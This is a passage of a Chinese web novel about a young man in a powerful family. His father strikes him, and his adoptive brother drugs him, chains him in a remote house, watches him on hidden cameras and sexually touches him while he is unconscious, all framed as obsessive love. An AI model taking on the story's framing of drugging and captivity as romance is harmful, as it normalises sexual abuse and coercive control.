贺叁冷冷地说道:“贺衍少爷可能是喝多了,你们扶着他去见家主。” 贺叁身后的佣人齐声回道:“是。” “不用。” 贺衍已经站了起来,他甩了甩刚才扭到的手腕,一脸平静地说道:“麻烦带路吧。” 第63章 第 63 章 脚踝上的锁链 第63章 半夜一点四十五, 顶灯惨白。 贺忠载站在书房中央,他双手背在身后,他紧皱着眉头, 目光紧盯着一处。 贺衍刚一走进书房, 一本书便向着他的方向砸了过去。 乏力的身体,让他没来得及躲避。 锋利书角顺着他的额头划过, 留下了一道口子。 刺痛感缓慢地顺着神经传到大脑,贺衍伸手摸了一下,渗出了血。 贺忠载冷笑了一声,头顶吊灯上的光衬得他脸色愈发阴沉:“我倒是小看你了。” 贺衍一言不发地站在那里,他垂着脸, 微长的发梢遮住了脸。 “我的人已经去了淮新, 刚才我已经联系贺振刚了。” 贺忠载语气一沉, 略带嘲意:“只要贺振刚提供和杨梅霞有关的线索,他就能得到五十万。还是你觉得,就算是这样他也会替你隐瞒?” 贺衍抿着唇, 依旧一言不发,只是看着更加脆弱了。他在试探自己, 但现在他还不清楚贺忠载到底知道了多少。 “我不知道你在说什么?奶奶怎么了吗?” 贺衍终于抬起了头,他唇色苍白, 一脸病容, 额角的一道血痕反而让这张脸更加夺目了。 他这个儿子倒是长了一张好脸。 看到贺衍明明极力掩饰但还是慌乱的神情, 贺忠载嗤笑着扯了扯嘴角。 有心机但是却不聪明, 处处都留痕迹,太容易被抓到马脚了。 但蠢才好掌控,贺家和裴家订婚已经是板上钉钉。 没了贺衍,找其他的就更难了。 胸中的怒意随着时间的流逝已经比最开始少了很多, 贺忠载的脸色缓和。 “能和裴家订婚,不是满足了你的愿望。你还有什么不满的吗?”贺忠载语气中仍含着些许愠怒:“你是我的儿子,我还能害你不成。” 贺衍抿紧唇瓣,眼睛垂了下去,看着很委屈。 贺忠载轻哼了一声:“你要是不想再赡养你奶奶,直接告诉我不就行了。何必花费那么大的功夫,还找外人再把她送走。” 看来他找到段成志那里去了。 [我不想让奶奶再留在这里了,她总是糊涂,总在别人面前念叨着那些乡下的土话,扯一堆穷酸发霉的旧事。我不想因为她再被别人诟病。但我也不想让父亲知道,怕他觉得我不孝。] 当初他让段成志帮忙,用的就是这个理由。 他告诉段成志,自己打算偷偷找人把杨梅霞送回去,需要让这位“德高望重”的副院长将杨梅霞伪装成意外去世。 一个乡下来的老婆子而已,段成志当然没有拒绝。 但果不其然,他最后还是将这一切都告诉贺仲载了。 贺衍忽然抬起头,眼神倔强又带着几分委屈:“我不想让奶奶回来,有她在,我会一直被人瞧不起。” 贺衍的语速越来越急,他满脸痛苦地看着贺忠载:“圣洛莱索一堆人说我配不上裴屷。只要奶奶还在这里,他们总会顺藤摸瓜知道我之前到底在哪里,知道我十几年都住在那个穷乡僻壤的地方。” “我真的受够了他们的眼光,我一点也不想再被瞧不起了。” 贺衍说完这句话后忽然停顿了很长时间:“但我本来就比不上贺琚,我害怕要是我这样子被你知道,连孝心这一个优点也没有了。” 贺忠载怔了一下,正准备说话。 他就看见贺衍的眼底又燃起了怒火,跳跃的火苗将他的脸色衬得更加苍白。 “但是我现在才知道我错了,我根本一点也比不上贺琚。特别是今天晚上,我才彻底看清楚,什么亲生孩子不亲生孩子,你真正放在心上的只有贺琚一个。” 贺衍垂下了眼睛,用尽全身力气才压下嘴角抽搐的笑意。 这可是他苦读了十几本真假少爷狗血文的成果,要是不能把贺忠载搞蒙圈,他可能就要被白白恶心死了。 贺忠载几乎插不上半句话,他只看见贺衍低着头浑身颤抖。 “您当初在书房,第一次和我说话的场景,我现在依旧历历在目。凭借贺家的权力和财力,您要是想找,早就能找到我了。可直到今年——呵,我根本不算什么。” “其实我最开始就该清楚的,我只是一个棋子,一个和裴家联姻的棋子。” 贺衍说到最后,语气越发平静,但越是这样,越是渗人。 贺忠载眉头拧在一起,这孩子不会是疯了吧。 他的目光又接触到贺衍额头的伤口,但这次他想到的和刚才完全不同了。要是他真疯了,这房间里就他和贺衍两个人—— 特别是他现在这个脸色和气质,跟那些精神病也没太多区别。 贺忠载越想越觉得有这个可能性。 “贺衍,你怎么会这么想。”贺忠载嘴里这么安慰着,脚步却诚实地往后退了一步。 贺衍冷冷地扯了下嘴角:“现在一切都尘埃落定了,您得到您想要的了,贺琚有了财产。我有了什么?我到最后什么都得不到。裴屷那么讨厌我,即使能订婚,距离结婚还有那么远,我早晚会被他抛弃的,不是吗?” 他说这句话的时候,往前走了一步,随着他的动作,额角的血滴顺着伤口流到了嘴角。 贺衍毫不在意地擦了一下,脸上满是杂乱的血迹。 但他的目光依旧牢牢地锁定贺忠载,看着更加恐怖了。 贺忠载心脏一紧,他抿了下唇,随后立刻出声:“贺衍,你想太多了。裴屷不会也不敢抛弃你。这个月末,总统选举就要开始投票了,裴行赫要是想当选,就不会任由裴屷作乱。” 贺衍眯了下眼,他本来只想让贺忠载不再纠结奶奶那件事,但似乎能有意外收获。 贺衍冷笑,但语气却越发平静:“万一是你想的太理所当然了呢?” 贺忠载此时根本无法在意贺衍对自己的不尊重,就在他准备打电话让保镖进来时。 贺衍重重地拍了下桌面:“裴屷刚才来找我,您以为他是在说什么好开心能和我订婚的这种屁话吗?” 贺衍一字一句地从牙缝里挤出这句话:“他是在明明白白地告诉我,不管用什么方式,他一定会解除婚约。” 贺忠载此时已经被贺衍搞得无比心烦了,早忘了他最开始要质问的是杨梅霞那件事。 他几乎克制不住地叹了口气,烦躁地蹙着眉:“贺衍,你出去吧,我说不会就不会,别在这里杞人忧天了。” 贺衍不肯出去,他的声音在贺忠载听来几乎就是明晃晃地威胁:“我现在心里不安,您不告诉我原因,我不知道会做出什么事。” 贺忠载脑子里的那根弦彻底断了,他随手拿起茶杯砸向贺衍,怒斥道:“滚出去,别在这里烦我了。” 瓷杯不偏不倚地砸到了贺衍的肩膀上,但他甚至没有一点要躲的意思,反而低低地笑出了声。 茶杯从贺衍身上滚落,砸在地毯上发出一声闷响。 在空旷的书房内极为渗人。 贺衍逼近贺忠载,直视他的眼睛,然后忽然笑着说道,声音是和之前完全不同的黏腻:“您要是不告诉我,我就告诉所有人,其实我才是您的儿子,贺琚不过是鸠占鹊巢的假少爷。” 贺忠载退后了几步。 贺衍现在这个样子,贺忠载倒吸了一口气,胸腔剧烈起伏了片刻。 贺衍唏嘘,这家伙肯定没见过贺琚发疯的样子,自己这才模仿了多少。 贺忠载终于低低地出声:“裴行赫之前杀过人,我有他杀人的证据。” 贺衍的睫毛不受控地轻颤,呼吸停止一瞬,他的视线死死钉在贺忠载脸上,瞳孔骤然收缩,嘴唇微微张开又合上,像是突然失声了一样。 真的假的,不会又是贺忠载在骗自己吧。 但就算要骗,怎么会编出这么离谱的理由。 “您难道不怕裴行赫将您——”贺衍因为极度震惊,语气反倒恢复了正常。 此时能够联系外界的电话已经在贺忠载他能碰触到的范围内了。 这个儿子还有用,他还有用。 贺忠载压下心里的怒火,立刻走到了座机那里,按下了按钮。 门外守着的保镖瞬间进入房间,贺忠载看了贺衍一眼,终究只是说道:“你就安安心心地等着嫁给裴屷吧,裴家不会毁约的。” 贺衍被一堆保镖围着给送进了房间。 贺衍撇了撇嘴,不出意外地听到房间大门被从外面反锁的声音。 啧,好像他真是什么危险人物一样。 贺衍把自己摔倒床上,身体舒展,眉头却依旧蹙着。 贺忠载刚才说的那件事,到底是真是假? 他盯着天花板上的吊灯,陷入了沉思。 手机突兀地响起,打断了贺衍的思绪。 现在都快两点半了,谁这个时候会给自己打电话。他拿起床头柜上的手机,才发现这个号码已经给自己打了四次了。 贺叁给他的手机没有存之前的号码,来电显示上只有一串数字。 但这串数字贺衍却极其熟悉。 是贺振刚的电话。 贺衍盯着屏幕,直到电话快要停了,他才接通。 贺振刚着急忙慌的声音顺着电话传了过来:“小衍,你可终于接电话了。你奶奶是要回来了吗?刚才贺家的人跟我打电话了,到底是怎么回事。我要怎么说。他们说只要提供任何的线索都给我五十万。” 贺振刚的话语无伦次,但贺衍明白了他的意思。 贺振刚愤愤不平地说道:“你在淮新不应该是吃得好穿得好,当富家少爷去了,怎么电话里那些人提起你的语气那么不尊重。” 贺衍愣了一下,但眼中的情绪波动不大,贺振刚这样说不定是在虚情假意地套话罢了。 他从小就知道,贺振刚简直是谈钱眼儿里去了,一句话里半句都离不开钱。 他要是真信,那他就是蠢货了。 电话里传来贺振刚絮絮叨叨地忏悔,他说他根本不在意这笔钱,他其实很想贺衍和杨梅霞。 这些话左耳朵进右耳朵出,贺衍根本不信:“随你怎么说。没其他事吧,我要挂了。” 贺振刚懊悔地出声:“我好歹养了你十几年,你就这么看我。” 贺衍撇了撇嘴,正准备挂断电话。 手机忽然来了一条提示,银行卡多了三百六十七万。有零有整的。 贺衍愣住了,过了一会儿才说道:“你这是什么意思。” “我接到贺家电话的时候就去给银行经理打电话了,让他把钱转你卡上。你现在是不是收到了。” 贺振刚叹了口气,语气沧桑:“我拿着钱买了一套新房,再加上装修大概花了有一百多万。是给你买的房,你要是回来了,可以住那里。不过我估计你现在也看不上。” “反正我给自己留了二十万。其他的多的钱,我拿着也没用,我就喜欢喝点小酒,那酒才多少钱啊。”贺振刚叹了口气:“你奶生病还需要花钱,你拿着给她看病吧。” 贺衍愣怔。 贺振刚又絮絮叨叨地说了一大堆:“我老早就想给你打电话了,但是又怕你怨我,不愿意接我的…… 以前不想跟你说,但这次不说,说不定以后也没机会了。 你出生前大半年吧,你爷爷做生意把家里赔光了,又被人骗着借了一堆高利贷,欠了两百多万,反正气血攻心,直接心梗住医院了。你奶奶那时候在医院陪着你爷,生怕他一个不小心就去了。 你妈生你是早产,比预产期提前了一个多月。我当时在外地打工,要是提前回来就一分工资就拿不到了。所以你出生的时候,你妈身边就没人照顾。 估计也是生气,当年你妈生完你就带着你去了你姥姥家,说起来,也是你出生了有两个月之后我才见到你。” “你妈在你半岁的时候就去世了,你奶奶那时候要照顾你爷爷。从你半岁到上幼儿园,都是我在照顾你。估计你也没什么印象了。” 贺衍一直在沉默,听到这里,张了张嘴,但什么话也没说出来。 贺振刚以为贺衍不想听这些,也是,太虚情假意了。他当初都为了五百万把贺衍给卖了。 贺振刚抿着唇沉默了一会儿,才出声:“算了,不说这些了。” “我倒还想起来一件事。当时在你姥姥家,你妈的姐姐也那里,还给我们家了一大笔钱,整整一百万啊。” “她说是自己在淮新赚到大钱了。”贺振刚说到叹了口气,颇有些感慨地说道:“但谁不知道,你那个大姨是在淮新是给人当佣人的。哪能赚什么大钱呢。不过是怕我们不接受的托词罢了。” “但当时家里着急用钱,不然你爷爷就被那些放高利贷打死了。” “她们姐妹关系好,你妈还在的时候,我经常听她提起这个姐姐。但后来你姥去之后,我就再也没见过你那个大姨了,听说是也是年纪轻轻的就去走了。” “都过了十八年了啊。”贺振刚感慨了一声。 贺衍神色一滞,他握紧了手机,十八年。 贺衍下意识出声:“爸——” 贺振刚听到贺衍这声爸,鼻子一酸,泪直接流了出来。他赶紧用手抹干净泪:“嗯,你说。” 贺衍莫名紧张,他的喉结滚动了一下:“我那个大姨叫什么?” “她和你妈不一个姓,姓什么来着?你让我想想,主要是你大姨是你姥姥改嫁之前就有的女儿,户口也不在你姥家,好像是在亚纽州那边吧。” 大概过了一会儿,贺衍才听见电话那头传来贺振刚犹犹豫豫的声音。 “好像是姓程?”贺振刚又停顿了一会儿,“大概吧。也可能还是姓陈?反正名字里好像有个月,太多年了,我也记不清了。” 贺衍一个字一个字地吐出:“陈月香?” 贺振刚拍了下大腿:“诶,就是这个名字。” 一切都串起来了——他终于明白罗霞为什么会对自己是那种态度了。 贺衍过了一会儿才开口:“爸,如果贺家的人问奶奶在哪里,你就说在家里。如果真有人找去,你再告诉他们奶奶又不见了。” 贺振刚理解了贺衍的意思:“放心,我不会让他们知道你奶其实不在罗河县的。” 他挂断了电话。 空气安静了很长时间,贺衍轻轻叹了一口气。 接下来的两周,系统没有出现过一次。 他用尽了各种方法,贺琚也始终不打算把奶奶的镯子还回来。 但圣洛莱索里所有学生的态度却都变了样。 不管贺衍走到哪里,每一个人都在恭维他、赞美他,好像之前的鄙夷和冷漠从未出现过一样,同样也没有任何人敢在论坛里随意攻击贺衍了。 贺忠载当初说他掌握了裴行赫的杀人的证据。他无法证明事实真假,但也将这件事告诉了裴屷,不过到现在裴屷都没有回复。 贺衍不在意地想,可能认为自己是在污蔑吧。 他依旧是那副冷淡的态度,平日里基本不理自己,但也没有再提过解除婚约这件事。 贺琚也没再来烦过自己。 仿佛一切都恢复了平静。 平静到似乎什么都没有发生过一样。 但系统到底是否彻底消失还有待考证,他也不清楚脑海里这本书还没有发生的剧情故事会不会继续发生。 窗外又下起雨了。 贺衍叹了口气,真烦啊。他不想继续待在淮新了。 但现在最大的问题是,只要离开学院,不管去哪里,随时都能看见身后紧紧跟随的保镖。 他们似乎也不在意是否会被自己发现。 所以,现在的情况是,他根本不可能离开淮新,贺忠载也不会允许自己离开。 推算书里的时间,目前的节点应该就是原书里贺家真假少爷被曝光的时间段,但目前这件事似乎还没有发生的迹象。 不过他不需要这件事被暴露,否则更加不利于自己跑路了。可他又不会去绑架贺琚,所以,怎么还是要从裴屷下手,让他和自己解除婚约。 这样贺忠载才会把自己赶出去。 什么事才能让自己和裴家彻底没有联姻的机会。 原书里的剧情简直给了明晃晃的提示。 一个声名狼籍的人。 贺忠载已经敲定了订婚宴的日期,在十二月下旬,还有三周。 但十二月初,就能选出下一届总统了,他打算在选举结束之后就找裴屷商量解除婚约这事,不能再往后拖了。 现在网络各大媒体上都是贺家和裴家已经联姻的消息,但并没有任何裴屷和自己的照片。 只要能离开淮新,就不会有人再认识自己。 奶奶现在在姆扎州的一家私立医院,身体状况恢复得还算不错。 他要去找奶奶。 雨水噼里啪啦地搭在屋檐上,顺着没关紧的窗户缝飘到了贺衍的脸上,又湿又冷。 贺衍面无表情地站起身,关紧了窗户。 他看着窗外连绵不绝的雨,眸中的神色也愈发暗了。 周五,是一个大晴天。 方盛寒被母亲禁足了大半个月,以往他可能会在游戏里昏天黑地地厮杀,但这次却全然没了任何兴趣。 纯纯是被折磨了十几天。 这也是他第一次如此迫切地想要来到学校,甚至没有在意这是周五,他不来就能又在家里多休息三天的事实。 上午大课间,方盛寒找到了贺衍,使出了各种手段终于让贺衍跟着他出去了。 “贺衍,我喜——”这句话还没说出口,方盛寒就瞥到了对面那个人眼里明晃晃又丝毫不加掩饰地冷漠和厌恶。 方盛寒把后面的几个字咽到了肚子里。 也对,表白有什么用,贺衍根本不会喜欢自己。他真是在家里被关太久脑子疯了。 贺衍眉头蹙了下,眼里闪过一丝不耐烦:“到底还有事没有。” 方盛寒眼底的恶意在不断翻滚,几乎控制不住地脱口而出:“贺衍,你知道贺琚喜欢你吗?” 贺衍掀了下眼皮,更是扯得没谱的了,他转身就走了。 方盛寒不依不饶地跟在他的后面:“你要是不相信,你在贺琚面前亲一下我,他绝对会生气。” 方盛寒越说越离谱:“或者你告诉贺琚你喜欢上我,他——” 贺衍揍了他一顿,终于止住了方盛寒喋喋不休的嘴。 他本来以为这不过又是平静的一天里的某个小插曲。 但第二天醒来的时候。 贺衍却笑不出来了。 这个房间,既不是圣洛莱索的那间卧室,也不是贺家的那间卧室。 脚那里怎么感觉怪怪的? 阳光顺着窗帘地缝隙斜射进来,刚好照在床脚的粗铁链上。 翻身的动作带起细碎的响动,链子便顺着脚踝动了一下。 他的身体瞬间紧绷。 贺衍猛地坐起身,铁链哗啦一响,冰凉的金属便狠狠勒住了脚踝。 链子不长不短,长度却刚好够他在房间内走动,但绝碰不到门。 门从外面被打开了。 贺琚出现在了那里,笑着说道:“哥哥,早上好啊。” 他笑得仿佛一切如常。 第64章 第 64 章 “我喜欢你,哥哥。”…… 第64章 贺衍用力扯了扯右脚的脚链, 眉头紧蹙。 安静的空气中,只有金属相互碰撞的声音。 这种粗细的铁链需要专门的金属切割器才能剪断。但他刚才大致扫了一眼房间,别说剪刀了, 连什么尖锐物都找不到。 贺衍脸色一沉。 “贺琚, 你是不是疯了?” 贺琚的目光从贺衍的眉眼,一点点向下滑落, 落在了他的脚踝那处。 他唇角勾了起来,哥哥现在已经跑不掉了。 脚链周围的皮肤因为贺衍用力地拉扯泛着粉,在冷白肤色的衬托下,显得愈发色|情。 他还记得昨晚的触感,贺琚唇角泄出一声轻笑, 哥哥的身形并不瘦弱, 但脚踝却出乎意料的纤细, 一只手就能完全握住。 贺衍站起来,在距离贺琚半米前被迫停了下来。 他冷笑出声,眉宇间满是森然的寒意, 这个长度,贺琚不是心血来潮, 而是早有预谋。 “不管你把我关在这里的目的是什么,”贺衍紧了紧拳头, 他深吸了一口气:“但只要你现在放我出去, 我可以既往不咎。” 但贺琚站在那里动也不动, 眼神一瞬不瞬地盯着贺衍, 他情不自禁地笑了起来。 阳光落在他的身上,微卷的发丝随着他的笑而微微晃动,光芒似乎尽数落入了他的眼中,瞳仁黑亮。 “哥哥真的——”贺琚眉眼弯弯, “好可爱啊,我怎么会放哥哥出去呢。” “贺琚,你难道不清楚,贺忠载一直派保镖跟在我身边。”贺衍眯了下眼,眸色锐利如刀,声音中满是寒意:“一旦这些保镖发现我不见,贺忠载就会知道。” 贺琚状似害怕地眨了下眼,唇角抿起来,眼神怯生生地望着贺衍,模样柔美又惹人怜惜。 他小心翼翼地嘘了一声:“哥哥可不要大声说话,万一被发现了怎么办?” 但这句话还没说完,贺琚自己反而就先笑出了声:“那些保镖当然是被我收买了啊,有我在,哥哥当然不会逃跑了啊?” 这家伙果然是疯子! 贺衍目光森然,眼底的怒火愈发危险。 这种不屈的、愤怒的、恨不得将他千刀万剐的眼神,他真是喜欢极了哥哥的这种眼神,就像头被困的猛兽,明明可以轻易撕碎猎物的喉咙,但却因为锁链的束缚无法施展。 不过现在,他有足够的时间,磨平哥哥的利爪。 贺琚眼神闪着兴奋的光芒,他欣赏着贺衍的反应,唇角扬起愉悦的笑容。 他对着贺衍眨了眨眼,然后当着他的面将大门紧紧关上。 室内再次变得安静。 贺衍唇角抿成一条直线,神情阴郁,眸色此刻黑得纯粹,满是戾气和怒火。 除了大门,房间另外的出口就是窗户。 他扯开了室内的窗帘,瞳孔骤然猛缩。 落地窗简直像是一幅巨大的画框,窗外是垂直坠落的悬崖,再远处,是层叠起伏的峰峦,在光下凝成深青色的剪影。 贺衍眸色暗了暗,眼底翻滚着惊人的怒气。 他站在窗前,指尖轻抵玻璃,向外俯瞰。 铁链随着他的动作发出轻微的声响,贺衍握紧了拳头,牙关咬紧。 下次贺琚进来,他要把他打到猪都不认识。 山风呼啸,撞在窗上发出低沉的呜咽声,仿佛整座房子随时都会被推下悬崖。 淮新的主城区皆是平原,有山的地方并不是没有,但能像这样连绵不绝的,只有萨卡州和奎尔丹尼州的交界处。 这里距离淮新有六十公里,一路颠簸,他却丝毫没有知觉。 昨晚十点,他喝过水之后便困得不行。 贺衍眸中闪过一丝怒气,现在想来,应该是贺琚在饮水机里下了药。 现在他的身体并没有什么不适,但并不能排除贺琚是否还给自己下了其他药。 他也不清楚贺琚会把自己在这里囚禁多久。 贺衍眼底满是讽意,不管贺琚用了什么理由解释自己的失踪,贺忠载不会任由自己消失,毕竟他还需要自己这枚棋子。 只要熬到订婚宴,呵—— 贺衍几乎无法抑制地呵出一声冷笑,眉梢的寒意比刚才更甚。 前几天还想着解除婚约,但现在他居然要寄希望于这个狗屁婚约了。 冷静,贺衍,冷静下来。 贺琚不可能将自己伪造成死亡,所以他一定是想到了某个理由,既可以作为十分正当又合适的请假理由,又可以让贺忠载暂时放下对自己的监控。 贺衍捏了捏突突跳动的太阳穴,指尖因为气愤还在轻颤。 他现在脑子太乱了,暂时想不出贺琚那疯子用了什么理由。 但等着被救太被动了,而且他甚至不清楚近期会不会有人来找自己。 窗户那里出不去,还是要从门离开。 这是高级的防盗门,进出都需要指纹。 铁链的另一头牢牢固定在床脚,但床脚被水泥封死了。 贺衍将房间转了一圈,除了大门那里,这个房间的哪个地方,他都能自由出入。 贺衍走到浴室,打开了浴室的窗户。 冷呼啸着钻入,这里跟落地窗是同一个方向,果然也是悬崖。 贺衍咬紧牙关,脖颈上的青筋跳动。他的喉结滚动了一下,贺衍深吸了一口气,但胸膛依旧剧烈地起伏着。 所以,他要是想离开—— 要么是贺琚发善心,要么是等别人来救他。 真是可笑,贺衍的拳头狠狠砸向墙面。 骨节与冰冷的墙面碰撞发出的闷响声在寂静中格外清晰。 他的手上出现几道细小的擦痕,渗出点点血丝,但痛感完全被胸腔里翻涌的怒火吞噬。 贺衍的手臂微微颤抖,嘴唇紧紧抿着。 愤怒没有用,贺衍垂下眼睛。 但真特么屈辱—— 他首先要摸清贺琚为什么把自己锁在这里,最好能让贺琚主动解开铁链。 贺衍重重地坐到沙发上,望着天际自由漂移的云,瞳孔逐渐涣散。 贺琚为什么把自己关在这里? 贺衍眉头紧锁,昨天下午方盛寒的话忽然浮现在脑海中。 [贺衍,你知道贺琚喜欢你吗?] 他呼吸一滞,脊椎窜过一阵战栗。 绝对不可能。 贺衍胃里一阵翻江倒海。 天花板上闪烁了一下。 监控室里。 贺琚的指尖轻轻敲击着扶手,一眨不眨地盯着中央最大的那块屏幕。 他轻笑,眼里满是偏执的病态,这里是多么完美的牢笼啊,对吧,哥哥。 贺衍似乎感觉到了什么,突然抬头看向隐藏摄像头的位置,眼神锐利如刀。 贺琚按下按钮。 他愉快的声音通过隐藏的麦克风清晰地传入贺衍耳中:“哥哥饿了吗,想吃什么吗?” 贺衍没有理他。 “哥哥怎么还跟我闹脾气了呢?已经十二点了呢。” 贺衍掀起眼皮,唇角是一抹讥讽的笑。 半个小时后,贺琚敲了敲门。 贺衍当然给他开不了门,但贺琚还是在外面等了几秒,才将门推开。 房间门被推开时,贺衍连头都没抬,只是肌肉明显绷紧了。 “这是我亲手给哥哥做的饭哦。”贺琚眼睛很亮,期待地看着贺衍:“要尝一尝吗?” 贺衍发出啧的一声,他坐在沙发上,半仰着下巴看着贺琚,语气差到像是吞了火枪:“你觉得我还敢吃你给我的东西吗?” 贺琚提着保温箱的手垂下来,失落地垂下眼睛:“哥哥怎么能这么说呢。” 不过片刻,他就又笑了起来:“那哥哥想吃什么?” 贺衍揉着眉心,半是命令半是疲惫地说道:“我只要密封包装的食物。” 出乎意料,贺琚没说什么就同意了。 似乎早清楚贺衍不会接受他做的饭菜一样,贺琚将密封包装的食物加热之后,放到了门口,刚好是锁链能够到达的最远的地方。 贺衍挑眉,禁不住嗤笑一声:“你怎么不给我送过来?” “如果我过去了,哥哥会打我吗?”贺琚笑意扩大,声音缠眷又轻柔:“我还是有点怕疼。” 贺衍嘲道:“原来你还知道自己欠揍。” 贺琚的眼底含着恶趣味的笑,眸子微眯,声线却变得慵懒了起来,他轻声开口:“而且我也没带锁链的钥匙。” 这家伙当然不会这么粗心。 贺衍收回视线,他转身看向窗外,完全无视了贺琚。 贺琚后面又说了一些话,却半点没能提起贺衍的兴致。 他有些苦恼地蹙了下眉,微不可察地轻笑一声,语调温柔得像在哄一个不听话的孩子:“哥哥难道不想知道为什么自己会出现在这里吗?” 贺衍抬了下眼睛。 “昨天方盛寒不是已经告诉哥哥了吗?” 贺琚的声音忽高忽低地跳跃着,带着雀跃的尾音上扬,每个音节都浸满愉悦:“我喜欢你,哥哥。” 周日下午,奎尔丹尼州。 “目标已锁定,老大。” 岑靳的指尖重重按在耳机上,衣领上的金属纽扣在暮色中泛着冷光。 “击毙。”他平静地吐出两个字。 远处狙击镜的反光一闪而逝,枪声未响,目标的头颅已然炸成了血花。 岑靳漫不经心地摘下耳机,灰蓝色的眼里空无一片。 半小时后,高振敲了敲门,走了进来。 “老大,目前任务目标已经解决了两个,但还有五个还在逃窜。虽然杜北这里所有的进出口都已经封闭了。” 高振指尖在随身带着的手提计算机上敲了几下,沉声说道:“我已经确定一些目标的藏匿地点,但杜北的面积比较大,排查依旧需要一段时间。按照以往的经验,这次大概再有一周就能结束这次任务。” 岑靳面色冷峻,点了点头。 “要是没什么事,我就先——” “那个手机的位置信号,会长时间消失一天以上吗?” 高振愣了一下,随后意识到岑靳说的是什么,眼底满是震惊,老大之前出任务的时候从来不会对任务以外的事情分心的。 “嗯,因为我当初并没有在那个手机里安装追踪器,捕捉信号的方式比较老旧。所以,可能会有一段时间信号是消失的。” 高振看了眼岑靳的脸色,有些犹豫地说道:“但,最多也就是短暂消失一两小时,不会一整天都收不到任何位置信号的。” 岑靳眼神冷峻,灰蓝色的眼底掠过一抹阴鸷之色。 第65章 第 65 章 敏感的身体 第65章 高振的手指飞快地在屏幕上敲击:“现在是十七点三十六, 上一次的反馈的信号位置时间是晚上八点,位置信号是圣洛莱索,之后就没有任何位置记录了。” 岑靳问道:“他现在人在圣洛莱索吗?” 高振摸了摸头, 入侵了圣洛莱索的监控系统。 高振又输入了几个数据, 皱着眉盯着屏幕,大概过了几分钟:“没有, 监控没有捕捉到他的脸。除非他今天没出门,否则监控里不可能找不到。” 高振讷讷地抬头看了眼:“所以,他可能不在圣洛莱索。” 岑靳眸色变暗,忽然站起来离开了。 高振愣了一下,然后猛地跑过去追上他:“老大, 咱们行动还没结束, 你不能走啊。” “你脑子里在想什么, 我没打算走。”岑靳眼底飘过一丝无语,他沉声说道:“把你刚才标记的目标地点发给我,这次我亲自去。” 高振点了点头, 然后忽然抬起头,眼睛睁成圆形:“啊?你亲自去?!!” 周二晚上, 七点。 贺琚敲了敲门,将晚餐放到了同样的位置。 “哥哥觉得这个味道好吗?不好吃的话, 我再换一家店。” 贺衍没看他, 也不说话。 贺琚自讨没趣地耸了耸肩, 目光却依旧紧贴在贺衍身上, “那哥哥好好吃饭,过一会儿我再来收垃圾哦。” 门又被关上了。 贺衍满脸暴躁,嫌弃地一脚踢飞地上的铁链,他走过去把装着食物的保温袋提起来放到了桌子上。 这个牌子是他知道的那几个专门做加热速食的品牌, 塑封包装上的生产日期也都在一个月以前。 防伪标识,餐盒外部的触感和他之前吃过的也一样。 应该不存在被贺琚调包的可能性。 但为了更加保险,他还是把密封的餐盒放到了水里,并没有气泡出现。 照常完成以上步骤之后,贺衍才放心地拆开包装。 监控室。 哥哥还是这么谨慎啊。 贺琚托着下巴,眼睛黏在监控画面上,他瞳孔微微扩张,呼吸不自觉地放轻,目光如蛛丝般缠绕着屏幕里的人影。 他眨了眨眼,嘴角扬起,黑眸中盛满了笑。 半夜两点五十。 房间里无比寂静,开门的声音不大,但在这种静谧的环境中却极其明显。 贺琚走了进来,脚步声在地板上敲出轻快的节奏。 他打开了灯,走到了贺衍床边。 但贺衍却对此毫无察觉,仿佛陷入了深睡之中。 被子已经被他踢到了脚边,上衣也被他无意识掀了起来。 贺琚对此似乎毫不惊讶,甚至愉快地轻笑出声。 因为就是自己故意在哥哥睡后,调高了房间的温度啊。 贺琚的手指轻轻拂过铁链,轻轻握住贺衍的脚踝,手指摩挲着,力道不轻不重。 他的目光顺着贺衍的小腿一路上移。 他在床边坐下,距离近得能闻到贺衍身上沐浴露的味道。 贺琚眼底闪过一丝迷恋,哥哥现在身上的味道,和自己一样了。 他之前就观察过哥哥的作息,每天晚上十二点之前,哥哥一定会睡觉的。 所以,只要药在这个时间段起作用。 只要不在哥哥看得见的地方留下痕迹,哥哥是不会意识到不对的。 哥哥,现在好乖啊。 贺琚伸手触碰贺衍的脸,手指描摹着他的眉骨。 他低下了头,两人的脸近在咫尺,呼吸交错。 贺琚的眼中满是病态的迷恋,他的拇指落在贺衍的唇瓣上,轻轻摩挲。 但是他还是更喜欢醒来的鲜活的哥哥。 贺琚侧躺到了贺衍旁边,手指轻轻拂过贺衍的睫毛,轻声说道:“我其实一直在看着监控里的你,看你发呆时的样子,看你睡觉时皱眉的样子……” 贺琚眼神暗了暗,声音越来越低,最后几乎变成耳语:“哥哥什么时候,会真正地回应我呢。” 他唇角挂着蛊人的微笑,嗓音如同情人低语,又像是毒蛇吐信,喑哑勾缠:“如果哥哥一辈子都不回应我,我就关哥哥一辈子,好不好?” 指尖从唇瓣移开,路过喉结,向下移动。 “熟睡”的贺衍毫无反应。 贺琚笑着亲了一下他,把贺衍抱到了自己怀中。 这里,已经比前天更…… 贺琚轻笑出声。 他目光下移,贺琚的视线落到了某处,手臂也随之移动了。 哥哥的反应好青涩。 但是现在还要再等一等。 再等一等,他已经等了那么久了,不差这一点时间。 贺琚清除所有的作案证据,关上了灯。 他整张脸隐藏在黑暗中,眸中墨色翻滚,他不会再让其他任何人有机会弄脏哥哥。 周三上午。 贺衍八点多醒了过来,他睁开眼睛看了眼墙上的时钟。又闭上眼睛眯了一会儿,快要九点的时候,终于坐起来伸了个懒腰。 放着食物的箱子已经在门口了,里面是早饭和午饭。 昨天他醒得比较早,刚好碰到了贺琚送饭的时间,是早上六点。 从这里到圣洛莱索,不止六十里的路,需要开一个多小时的车,也不知道贺琚在图什么。 反正微波炉都有了,直接往这里放一个冰箱不是更好。 这样自己既不会饿死,他也不用每天这么来回跑。 贺衍面无表情地叹了口气,站起来拉开了窗帘。他下意识地眯了下眼,却发现并没有期望的阳光。 落地窗外的视野极好,群山在云雾中若隐若现,但就是没有一丁点阳光,天气阴得要命。 房间里的监控器他能找到的已经全部砸了,但天花板上那几个—— 贺衍拽了拽已经要遮住眼睛的头发,他烦躁地皱着眉,把这些头发捋到了耳后。 今天是周三,已经是第五天了。 他到底还要在这里待多久。 贺琚每天定时定点地给他送饭,但除此之外,两人没有任何接触的时间。 他这些天见到贺琚的时间算起来还不到半个小时。 贺衍眼下的泪痣越发红艳,但他毫无察觉。 上辈子他虽然没有谈过恋爱,但青春期也曾朦胧地对班里某个女生有过好感。 要真是喜欢—— 他要是现在真的还认为贺琚真的喜欢自己,那他也就真是傻子了。 前几天贺琚说那些话,就是纯粹是为了恶心自己。 他要“恭喜”那疯子,他的的确确做到了。 